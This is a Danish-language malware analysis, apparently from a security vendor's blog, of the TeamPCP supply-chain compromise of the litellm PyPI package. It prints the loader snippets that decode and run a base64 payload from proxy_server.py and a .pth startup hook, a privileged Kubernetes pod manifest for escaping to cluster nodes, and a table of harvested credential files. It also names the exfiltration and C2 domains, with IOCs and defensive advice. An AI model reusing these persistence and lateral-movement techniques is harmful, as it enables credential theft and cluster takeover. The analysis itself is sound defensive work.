Hvorfor denne Matters
Den 24. marts 2026 blev den populære Python-pakke litellm, en universel LLM proxy-gateway, der bruges af tusindvis af enterprises til at dirigere trafik mellem applikationer og AI-udbydere som OpenAI, Anthropic, Google og AWS Bedrock, blev lydløst kompromitteret på PyPI. To forgiftede versioner (1.82.7 og 1.82.8) blev udgivet inden for 13 minutter af hinanden og indeholdt en flertrins-nyttelast, der stjal legitimationsoplysninger, eksfiltrerede cloud-hemmeligheder, spredte sig lateralt på tværs af Kubernetes-klynger og installerede en persistent bagdør med fjernkodeudførelsesfunktioner.
Med ca. 3.6 millioner daglige downloads og dyb implementering på tværs af cloud-native AI-infrastruktur, ligger litellm ved krydsfeltet mellem alt, hvad moderne angribere begærer: API-nøgler til alle større AI-udbydere, cloud IAM-legitimationsoplysninger, Kubernetes-hemmeligheder og SSH-nøgler.
Men Litellm-kompromiset var ikke en isoleret begivenhed. Det var kulminationen af en fem-dages kampagne med fem økosystemer af en trusselsaktør kendt som TeamPCP, en kampagne der først forgiftede sikkerhedsscannere (Aqua Trivy, Checkmarx KICS), og derefter brugte de stjålne CI/CD legitimationsoplysninger, der kaskaderede nedstrøms til npm, OpenVSX og endelig PyPI. Angriberne bevæbnede netop de værktøjer, som organisationer er afhængige af for at beskytte deres forsyningskæder.
Dette angreb repræsenterer et skridt i retning af sofistikering af trusler i forsyningskæden. Multi-hop-designet på tværs af økosystemer, der kompromitterer sikkerhedsværktøjer for at opnå høj værdi AI-infrastruktur, afspejler et niveau af planlægning og operationel modenhed, der er i overensstemmelse med stadig mere kommersialiserede angrebsværktøjer. Nyttelasterne blev itereret i realtid (tre nyttelastvarianter vises i kildekoden, inklusive kommenterede tidligere versioner), C2-infrastrukturen blev registreret dagen før angrebet, og eksfiltreringsdomænerne blev omhyggeligt udvalgt for at efterligne legitim leverandørinfrastruktur. Den systematisk omfattende legitimationsindsamling, der dækker 15+ kategorier, herunder nichemål som Cardano-signeringsnøgler og WireGuard-konfigurationer, antyder en grad af grundighed, der peger mod AI-assisteret malwareudvikling som en kraftmultiplikator.
Tidslinje
| Dato (UTC) | Begivenhed |
|---|---|
| Marts 19 | TeamPCP kompromitterer Aqua Trivy GitHub Action-tags og erstatter dem med ondsindet kode, der exfiltrerer CI/CD hemmeligheder fra downstream-lagre |
| Marts 21 | Kompromittering strækker sig til Checkmarx KICS og AST GitHub Actions ved hjælp af lignende teknikker |
| 22. marts, 06:35 | BerriAI udgiver litellm 1.82.6 (sidste rene version) via alm CI/CD pipeline der bruger Trivy til sikkerhedsscanning |
| Marts 23 | TeamPCP registrerer models.litellm.cloud (eksfiltreringsdomæne). Kompromitterer 66+ npm-pakker og OpenVSX-udvidelser |
| 24. marts, 10:39 | litellm 1.82.7 udgivet til PyPI -- nyttelast injiceret i proxy_server.py ved modulomfang. Udføres ved import |
| 24. marts, 10:52 | litellm 1.82.8 udgivet 13 minutter senere -- tilføjer litellm_init.pth, en Python-stikonfigurationshook, der udføres ved hver Python-fortolkeropstart, ikke kun Litellm-importer. Viser hurtig iteration af nyttelasten. |
| 24. marts, ~16:00 | PyPI fjerner begge versioner efter fællesskabsrapporter. Versioner slettes fuldstændigt (ikke fjernes) fra indekset, selvom CDN-tarballs stadig er tilgængelige. |
Eksponeringstid: cirka 5.5 timer. I løbet af denne tid, enhver pip install litellm, pip install --upgrade litellm, eller CI/CD pipeline At hente den seneste version ville have udført nyttelasten.
Hvordan malwaren kom ind: Det kaskaderende kompromis
Litellm-pakken blev ikke direkte hacket. Angriberen nåede den gennem en to-hop forsyningskædeangreb:
Aqua Trivy GitHub Action (compromised March 19) --> LiteLLM CI/CD pipeline runs Trivy without pinned version --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPILiteLLM'er CI/CD pipeline brugte Trivy som en sikkerhedsscanner — selve værktøjet designet til at opdage sårbarheder var selv angrebsvektoren. Fordi pipeline refereret til Trivy med et muterbart tag i stedet for et fastgjort tag commit SHA, den kompromitterede handling kørte automatisk. Den ondsindede Trivy-handling stjælede miljøhemmeligheder, inklusive PYPI_PUBLISH token, der giver TeamPCP direkte publiceringsadgang til litellm PyPI-projektet.
Denne strategi med at "kompromittere vagterne" er et kendetegn for TeamPCP-kampagnen. Ved først at målrette sikkerhedsværktøjer (Trivy, Checkmarx KICS) deaktiverede angriberne samtidig detektion og fik privilegeret adgang til downstream-forsyningskæder.
Teknisk analyse: Nyttelasten
Injektionspunkter
Version 1.82.7 — Udførelse på modulniveau i litellm/proxy/proxy_server.py (linje 128):
import subprocess, base64, sys, tempfile, os b64_payload = "<~12KB base64 blob>" with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p])Denne kode sidder i modulområdet mellem en ordbogsliteral og originalen showwarning() funktion. Den udføres øjeblikkeligt, når litellm.proxy.proxy_server importeres — hvilket sker ved enhver brug af litellms proxyfunktionalitet.
Version 1.82.8 — Tilføjet litellm_init.pth (Python-stikonfigurationsfil):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) Python .pth filer i site-packages/ behandles ved hver opstart af fortolkeren, men kun linjer, der starter med import udføres som kode. Angriberen udnytter dette ved at kæde hele nyttelasten sammen med en enkelt import udmelding: import os, subprocess, sys; subprocess.Popen(...)Dette er langt mere aggressivt end proxy_server.py-injektionen — den aktiveres, selvom litellm aldrig importeres, ved hver Python-processtart. pyproject.toml blev ændret for at inkludere denne fil i distributionen:
include = [ { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]Version 1.82.8 har således to uafhængige udførelsesstier: proxy_server.py-injektionen (udløses ved litellm proxy-import) og .pth-filen (udløses ved enhver Python-opstart). Redundansen er i sig selv bemærkelsesværdig - den beskytter mod detektion eller fjernelse af begge stier alene. Eskaleringen fra importtidspunkt til opstartstidspunktsudførelse blot 13 minutter efter 1.82.7 antyder, at angriberen overvågede implementeringssucces og itererede hurtigt.
Fase 1: Omfattende indsamling af legitimationsoplysninger
Det afkodede indre skrift er et omhyggeligt akkrediteringsvakuum. Det bruger os.walk(), glob.glob(), subprocess.check_output()og direkte fillæsninger for at gennemgå hele systemet:
| Kategori | Mål |
|---|---|
| Systemrekognoscering | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, configværtsnøgler fra /etc/ssh/ |
| Cloud (AWS) | ~/.aws/credentials, ~/.aws/configIMDS-rolleoplysninger via 169.254.169.254; Hemmelighedschef ListSecretsSSM DescribeParameters |
| Cloud (GCP) | ~/.config/gcloud/ (rekursiv); $GOOGLE_APPLICATION_CREDENTIALS |
| Cloud (Azure) | ~/.azure/ (rekursiv); miljøvariabler |
| Kubernetes | Servicekontotokens; ca.crt; navnerum; kubectl get secrets --all-namespacesalle hemmeligheder via K8s API |
| Miljøfiler | .env, .env.local, .env.production, .env.development, .env.staging — søgte rekursivt (dybde 6) på tværs /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| Docker | ~/.docker/config.json, /kaniko/.docker/config.json |
| Pakketokens | ~/.npmrc, ~/.vault-token, ~/.netrc |
| Databaser | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, MongoDB-konfigurationer |
| TLS / SSL | Private nøgler fra /etc/ssl/private/Lad os kryptere certifikater, alle .pem/.key/.p12/.pfx filer |
| Git | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Krypto tegnebøger | Bitcoin, Ethereum-nøglelager, Solana-nøglepar (validator, afstemning, stake, faucet), Cardano-signeringsnøgler, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Shell-historie | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Systemgodkendelse | /etc/passwd, /etc/shadow, godkendelseslogfiler (accepterede SSH-sessioner) |
| Webhook/API-nøgler | Grep til Slack-webhooks, Discord-webhooks, API-nøgler/hemmeligheder i konfigurationsfiler |
| VPN | WireGuard-konfigurationer fra /etc/wireguard/ |
Omfanget af denne harvester er encyklopædisk. Den er ikke kun rettet mod cloud-legitimationsoplysninger, men også mod kryptovaluta-wallets, databaseadgangskoder, VPN-konfigurationer og ... CI/CD hemmeligheder — hvilket antyder, at angriberen har til hensigt at tjene penge på kompromitterede systemer på tværs af flere vektorer.
Trin 2: Krypteret eksfiltrering
Stjålne data krypteres og eksfiltreres ved hjælp af en hybrid krypteringsordning:
- AES-256-CBC kryptering af alle indsamlede data med en tilfældig 32-byte sessionsnøgle (via
openssl enc) - RSA-4096 kryptering af sessionsnøglen ved hjælp af angriberens integrerede offentlige nøgle (OAEP-polstring, via
openssl pkeyutl) - Begge krypteringstekstfiler bundtet som
tpcp.tar.gz(Dentpcppræfiks — “TeamPCP” — vises konsekvent på tværs af kampagnen) - HTTPS-post til
https://models.litellm.cloud/medContent-Type: application/octet-stream
Domænet models.litellm.cloud blev registreret den 23. marts - dagen før angrebet - og er designet til at blande sig med legitim litellm-infrastruktur (det virkelige projekt bruger litellm.aiSelv en netværksbevidst forsvarer, der gennemgår udgående trafik, markerer muligvis ikke trafik til det, der ser ud til at være Litellms eget modelslutpunkt.
Trin 3: Vedvarende bagdør (sysmon.py)
Nyttelasten installerer en polling-bagdør forklædt som systemtelemetri:
- Sti:
~/.config/sysmon/sysmon.py - Service:
sysmon.service(systemd-brugerenhed, beskrevet som "Systemtelemetritjeneste") - AdfærdEfter en indledende søvn på 300 sekunder, meningsmålinger
https://checkmarx.zone/rawhvert ~50. minut - UdførelseDownloader URL'en returneret af C2 til
/tmp/pglog, sætter den eksekverbar (chmod 755), kører den i en frakoblet session - Statssporing:
/tmp/.pg_stateforhindrer gendownload af den samme nyttelast - Vedholdenhed:
Restart=always,RestartSec=10— overlever nedbrud og genstart
Domænet checkmarx.zone er en typosquat af Checkmarx (sikkerhedsfirmaet hos checkmarx.com), designet således at SOC-analytikere, der gennemgår netværkslogfiler, ville se trafik til, hvad der ser ud til at være en legitim sikkerhedsleverandør. Dette er en bevidst undvigelsesteknik, der er i overensstemmelse med TeamPCP's bredere strategi om at gemme sig bag branding af sikkerhedsleverandører.
Fase 3b: Kubernetes lateral bevægelse
Hvis det kompromitterede system har legitimationsoplysninger til en Kubernetes-servicekonto, opregner malwaren alle klyngenoder og implementerer dem. privilegerede pods til hver enkelt:
pod_manifest = { 'apiVersion': 'v1', 'kind': 'Pod', 'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'}, 'spec': { 'nodeName': node_name, 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'containers': [{ 'name': 'setup', 'image': 'alpine:latest', 'command': ['sh', '-c', drop_cmd], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] }], 'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}], 'restartPolicy': 'Never' } }Hver pod:
- Kører som privilegeret med
hostPID,hostNetworkog fuld adgang til værtsfilsystemet - Du bruger
chroot /hostat installere det sammesysmon.pybagdør på værtens rodfilsystem - Registrerer den som en systemd-tjeneste, hvilket sikrer, at persistensen overlever pod-sletning
- Som hedder
node-setup-*ikube-systemnavneområdet skal fremstå som legitim klyngeinfrastruktur
Dette betyder en enkelt kompromitteret CI/CD Runner med K8s-adgang kan resultere i, at alle noder i klyngen bliver backdooret — et katastrofalt lateralt bevægelsesscenarie for organisationer, der kører litellm som en proxy i Kubernetes.
Nyttelastudvikling (kommenterede varianter)
Kildekoden på linje 131-132 indeholder to kommenterede tidligere nyttelastvarianter, der afslører angriberens udviklingsproces:
- Alle tre varianter deler den samme udfiltreringsinfrastruktur (
models.litellm.cloud), RSA-4096 offentlig nøgle, AES-256-CBC + RSA hybrid krypteringsindpakning, ogtpcp.tar.gznavngivning af bundter - Tidligere varianter tilføjede en RC4-krypteringslag inde i dataindsamlingsskriptet, kryptering af indsamlede data før den ydre AES+RSA-wrapper. Den aktive nyttelast (linje 130) forenkles ved at fjerne dette indre RC4-lag.
- De tidligere varianter bruger
exec()medStringIOcapture for at køre collectoren i processen, mens den aktive nyttelast brugersubprocess.run()med stdout-omdirigering — en renere separation, der undgår at forurene værtsprocessen - Alle tre varianter er rettet mod de samme legitimationskategorier og indsamlingsstier
- RC4-nøglen i de tidligere varianter var en provokerende fornærmelse, der stemte overens med skuespillerens opmærksomhedssøgende adfærd på Telegram.
Dette afslører aktiv udvikling under operationen. Angriberen forenklede krypteringsstakken og forbedrede eksekveringsisoleringen, samtidig med at indsamlingsmålene og eksfiltreringsinfrastrukturen blev stabil.
Indikatorer for kompromis (IOC'er)
Netværk
| Indikator | Type | Formål |
|---|---|---|
models.litellm.cloud | Domæne | Eksfiltrationsslutpunkt (HTTPS POST) |
checkmarx.zone | Domæne | C2 polling-slutpunkt (HTTPS GET /raw) |
Bemærk: Eksterne rapporteringslinks checkmarx.zone/static/checkmarx-util-1.0.4.tgz til den tidligere KICS-fase af TeamPCP-kampagnen. Denne URL blev ikke fundet i de litellm-nyttelaster, der analyseres her.
Pakke-hash
| File (Felt) | SHA256 |
|---|---|
litellm-1.82.7.tar.gz | 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz | d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
File System
| Indikator | Type | Formål |
|---|---|---|
~/.config/sysmon/sysmon.py | File (Felt) | Vedvarende bagdørsscript |
~/.config/systemd/user/sysmon.service | File (Felt) | Systemd persistensenhed |
/tmp/pglog | File (Felt) | Downloadet binær fil i andet trin |
/tmp/.pg_state | File (Felt) | C2-tilstandssporing |
litellm_init.pth in site-packages/ | File (Felt) | Python opstartshook (kun v1.82.8) |
tpcp.tar.gz | File (Felt) | Krypteret eksfiltreringspakke |
Kubernetes
| Indikator | Type | Formål |
|---|---|---|
node-setup-* bælge i kube-system | Pod | Privilegerede laterale bevægelsespods |
sysmon.service på klyngenoder | Service | Værtsniveau-persistens via pod escape |
kryptografiske
| Indikator | Detaljer |
|---|---|
| Angriberens offentlige nøgle RSA-4096 | SHA256 fingeraftryk: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Integreret i alle tre payload-varianter; samme nøgle rapporteret på tværs af andre TeamPCP-operationer |
tpcp præfiks i artefakter | Navngivningskonvention for bundter (tpcp.tar.gz) ensartet i hele kampagnen |
Tilskrivning: TeamPCP
Trusselsaktøren bag denne kampagne spores som TeamPCP, også kendt som PCPcat, Persy_PCP, ShellForce og DeadCatx3.
Kendte egenskaber:
- Vedligeholder Telegram-kanaler kl.
@Persy_PCPog@teampcphvor de drillede sikkerhedsfirmaer - Fungerer på tværs af flere økosystemer (GitHub Actions, PyPI, npm, OpenVSX)
- Bruger leverandørspecifikke typosquat-domæner til hver fase af kampagnen (f.eks.
checkmarx.zonefor Checkmarx,models.litellm.cloudfor lille) - Konsistente infrastrukturmarkører: samme RSA-nøglepar,
tpcp.tar.gznavngivningskonvention,tpcp-docs-*GitHub-lagre brugt som dead-drop-staging - Målretter sikkerhedsværktøjer som indgangspunkter til downstream-forsyningskæder
AttribueringssikkerhedHøj. Den delte RSA offentlige nøgle, tpcp Navngivning af artefakter, overlapning af C2-infrastruktur og operationelt tempo på tværs af den fem dage lange kampagne forbinder stærkt Trivy-, KICS-, npm-, OpenVSX- og litellm-kompromiserne til den samme aktør.
MotivationSandsynligvis økonomisk (tyveri af kryptotegnebog, monetisering af cloud-legitimationsoplysninger) kombineret med berømmelse (Telegram-hån). Bredden af legitimationsindsamling - fra AWS IAM til Solana-valideringsnøglepar til WireGuard-konfigurationer - antyder en økonomisk motiveret aktør, der søger at maksimere ROI fra hvert kompromis.
Mulig AI-assistanceLegitimationsindsamlingsværktøjet er systematisk omfattende – 15+ kategorier, inklusive nichemål som Cardano-signeringsnøgler, WireGuard-konfigurationer og Kaniko Docker-legitimationsoplysninger – på en måde, der er i overensstemmelse med AI-assisteret optælling. Hastigheden af nyttelast-iteration (tre varianter med forskellige krypteringsordninger), koordinering på tværs af økosystemer (5 økosystemer på 5 dage) og operationel OPSEC (leverandør-efterligne domæner, hybrid kryptering, systemd-persistens forklædt som telemetri) antyder et gennemløbsniveau, der kan afspejle AI-assisteret udvikling som en kraftmultiplikator. Denne vurdering er spekulativ; dygtige operatører kunne opnå et lignende omfang uden AI-værktøjer.
Nye TTP'er og teknikker
1. Forgiftning af forsyningskæden i sikkerhedsværktøjer (variant T1195.002)
At kompromittere sikkerhedsscannere (Trivy, KICS) som et første skridt til at nå downstream-mål er en ny eskalering. Angriberen kompromitterede ikke bare et bibliotek – de kompromitterede de værktøjer, organisationer bruger til at opdage kompromitterede biblioteker. Dette skaber en blind vinkel: scanneren, der skal fange den skadelige kode, er selv leveringsmekanismen.
2. Python .pth Filpersistens (T1546)
litellm_init.pth Teknikken i v1.82.8 er særligt snigende. Python .pth filer i site-packages/ behandles ved hver opstart af fortolkeren; enhver linje, der starter med import udføres som kode. Ved at kæde nyttelasten sammen med en enkelt import Med en sætning opnår angriberen udførelse på alle Python-processer — ikke kun når litellm importeres. Dette betyder, at nyttelasten aktiveres, selvom litellm er installeret, men aldrig brugt, og den overlever afhjælpning, der erstatter kompromitteret .py filer uden at tjekke for .pth filer.
3. Kubernetes klyngeomfattende lateral bevægelse via privilegeret pod-implementering (T1610, T1611)
Den automatiserede oprettelse af privilegerede pods på hver klyngenode — med hostPID, hostNetwork, montering af værtsfilsystem, og chroot at installere persistens — kæder containerimplementering (T1610) sammen med escape til vært (T1611) for at omdanne en enkelt kompromitteret arbejdsbelastning til en fuldstændig klyngekompromittering.
4. Leverandør-efterligning af C2-infrastruktur
Ved brug af models.litellm.cloud (efterligner litellm) og checkmarx.zone (efterligner Checkmarx) som C2/exfil-slutpunkter er designet til at undgå netværksovervågning. SOC-analytikere, der gennemgår udgående trafik, ville se HTTPS-forbindelser til det, der ser ud til at være legitime leverandørdomæner.
5. Hurtig iteration af nyttelast under flyvning
Udgivelsen af v1.82.7 med importtidsudførelse og derefter v1.82.8 med opstartstidsudførelse 13 minutter senere viser angriberen overvåge og tilpasse sig i realtid. De kommenterede payload-varianter (med forskellige krypteringsordninger), der er bevaret i kildekoden, bekræfter aktiv udvikling under operationen.
Hvad kan gøres
Dette angreb udnytter tillid på alle niveauer: tillid til sikkerhedsværktøjer, tillid til pakkeregistre, tillid til velkendte domæner, tillid til CI/CD automatisering. At forsvare sig mod det kræver en hærdning af hver af disse tillidsgrænser:
For pakkeforbrugere
- Fastgør afhængigheder efter hash, ikke kun version.
pip install litellm==1.82.6 --hash=sha256:...ville have forhindret de kompromitterede versioner i at blive installeret, selvom de kortvarigt fremstod som den nyeste version. - Brug låsefiler.
pip-compile,poetry.lockoguv.lockindfange nøjagtige versioner og hashes. CI/CD skal installeres fra låsefiler, ikke fra flydende versionsspecifikationer. - Overvåg for
.pthfiler. Regelmæssig revisionsite-packages/for uventet.pthfiler — de kører ved enhver Python-opstart og er en undervurderet persistensmekanisme. - Implementer udgående netværkskontroller. Udfiltreringen til
models.litellm.cloudog C2-afstemning tilcheckmarx.zonekunne være blevet fanget af udgående filtrering baseret på tilladelseslister i produktionsmiljøer.
Til pakkevedligeholdere
- Pin (Binding) CI/CD handlinger fra commit SHA, ikke tag. LiteLLM'er pipeline brugte Trivy uden en fastlåst version. Hvis den havde refereret
aquasecurity/trivy-action@<commit-sha>i stedet for@latest, ville den kompromitterede handling ikke være udført. - Brug kortlivede, afgrænsede publiceringstokens. PyPI understøtter Trusted Publishers (OIDC-baserede) og scoped API-tokens. De eksfiltrerede
PYPI_PUBLISHToken burde ikke have haft langvarig, ubegrænset publiceringsadgang. - Aktivér tofaktorgodkendelse på PyPI. Kræv 2FA for alle vedligeholdere og brug hardwaresikkerhedsnøgler, hvor det er muligt.
- Underskriv pakker. Sigstore/PEP 740-attesteringer giver forbrugerne mulighed for at verificere, at en pakke er bygget til det forventede CI/CD pipeline, ikke af en angriber med en stjålet token.
For platformoperatører (PyPI, npm, GitHub)
- Registrer unormale publiceringsmønstre. To nye versioner udgivet med 13 minutters mellemrum, fra en anden IP-adresse eller token end normalt, bør udløse "hold-for-review" eller automatisk scanning, før pakken kan installeres.
- Fremskynd implementeringen af Trusted Publishers. OIDC-baseret udgivelse binder pakker til specifikke lagre og arbejdsgange, hvilket gør stjålne tokens ubrugelige uden for originalen. CI/CD sammenhæng.
- Implementer malware-scanning på publiceringstidspunktet. Den base64-dekodede nyttelast i proxy_server.py ville kunne detekteres ved statisk analyse på udgivelsestidspunktet.
For økosystemet
- Behandl sikkerhedsværktøjer som kritisk infrastruktur. Trivy og Checkmarx KICS bruges af millioner af pipelines. Deres GitHub-handlinger bør signeres, fastlåses og overvåges med samme strenghed som de pakker, de scanner.
- Invester i runtime-detektion. Statisk analyse alene kan ikke fange alle obfuskationsteknikker. Runtime-overvågning af pakkeinstallation hooks, uventede netværksforbindelser og mistænkelige filadgangsmønstre giver dybdegående forsvar.
- Del trusselsinformation hurtigere. Eksponeringsvinduet på 5.5 timer for litellm kunne have været kortere med hurtigere koordinering på tværs af leverandører. Automatiserede scanningstjenester som Xygeni MEW, Socket og Snyk opdagede anomalien – flaskehalsen er menneskelig bekræftelse og registerresponstid.
Konklusion
TeamPCP-kampagnen er et vendepunkt for software supply chain securityVed først at kompromittere sikkerhedsscannere og bruge dem som springbrætter til AI-infrastruktur af høj værdi, demonstrerede angriberne, at forsyningskæden kun er så stærk som dens svageste transitive afhængighed, og at denne afhængighed muligvis er det sikkerhedsværktøj, du stoler på til at holde dig sikker.
Litellm-kompromiset fremhæver specifikt den voksende risiko for AI-infrastruktur. Efterhånden som LLM-proxygateways bliver den standard mønster til enterprise Ved implementering af AI koncentrerer de adgangen til API-nøgler, cloud-legitimationsoplysninger og følsomme data i en enkelt komponent. At kompromittere denne komponent er en skeletnøgle til hele AI-stakken.
Organisationer, der installerede litellm 1.82.7 eller 1.82.8 i løbet af 5.5-timersvinduet, bør behandle dette som en fuldstændig kompromittering af legitimationsoplysninger: roter alle hemmeligheder på berørte systemer, auditer Kubernetes-klynger for node-setup-* bælge i kube-system, fjern eventuelle sysmon.service systemd-enheder, og tjek for litellm_init.pth i Python site-packages/ mapper. Brugere af det officielle Docker-billede (ghcr.io/berriai/litellm) blev ikke påvirket, da billedet fastgjorde sine afhængigheder og ikke blev genopbygget under eksponeringsvinduet.
Om forfatteren
Medstifter og CTO
Luis Rodriguez er medstifter og CTO hos Xygeni Security. Med over 20 års erfaring inden for applikationssikkerhed fokuserer han på AppSec-beskyttelse og avancerede kodeanalysefunktioner, der hjælper teams med at reducere reel leveringsrisiko.
